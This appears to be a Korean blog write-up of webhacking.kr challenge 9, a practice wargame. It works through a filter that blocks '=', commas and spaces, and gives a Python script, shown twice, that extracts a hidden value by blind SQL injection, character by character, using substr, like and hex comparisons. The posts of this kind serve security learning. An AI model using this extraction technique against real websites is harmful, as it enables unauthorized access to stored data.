첫화면은 번호들이 있고 들어가 져서
하나씩 들어가 보았다.
1은 no를 뜻하는 것 같다.
APPLE
2번째는 Banana
3번째는 Secret이다.
힌트는 11글자
우선 =,을 비롯 띄워쓰기도 다 막혀있다.
그래서
if문은 막혀있지 않았기 때문에 =과 띄워쓰기를 제외하고
쿼리를 짜 보았더니
length가 11이라고 했는데 이 쿼리문은 돌기는 도는데
0으로 리턴이 된다.
그래서
import urllib.request
import re
if __name__ == "__main__":
answer = ''
key = True
code = [num for num in range(39,127)]
head = {'Cookie':'PHPSESSID=사용자의 쿠키값'}
for i in range(1,20):
for j in code:
print(hex(j))
req = urllib.request.Request("http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id,"+str(i)+",1)like("+hex(j)+"),1,0)",headers=head)
data = urllib.request.urlopen(req).read()
data = data.decode('UTF-8')
find = re.findall("Secret",data)
if find:
print("password :",i,chr(j))
answer += chr(j)
break
if j == 126:
key = False
break
if key == False:
break
print(answer)
이렇게 substr로 짜서 돌려보니
답이APPLE로 나왔다.
그런데 답은 아니었다....
이상해서 IF문이 맞으면 3을 리턴시켜보았더니
LENGTH가 11일 때에 참값이 나온다!
import urllib.request
import re
if __name__ == "__main__":
answer = ''
key = True
code = [num for num in range(39,127)]
head = {'Cookie':'PHPSESSID=사용자의 쿠키값'}
for i in range(1,20):
for j in code:
print(hex(j))
req = urllib.request.Request("http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id,"+str(i)+",1)like("+hex(j)+"),3,0)",headers=head)
data = urllib.request.urlopen(req).read()
data = data.decode('UTF-8')
find = re.findall("Secret",data)
if find:
print("password :",i,chr(j))
answer += chr(j)
break
if j == 126:
key = False
break
if key == False:
break
print(answer)
그래서 3으로 다시 SUBSTR쿼리를 돌려보니
답이 나온다
9번도 클리어!
'WebHacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 55번 (0) | 2018.01.26 |
---|---|
Webhacking.kr 34번 (0) | 2018.01.26 |
Webhacking.kr 13번 (0) | 2018.01.25 |
Webhacking.kr 43번 (0) | 2018.01.25 |
Webhacking.kr 49번 (0) | 2018.01.19 |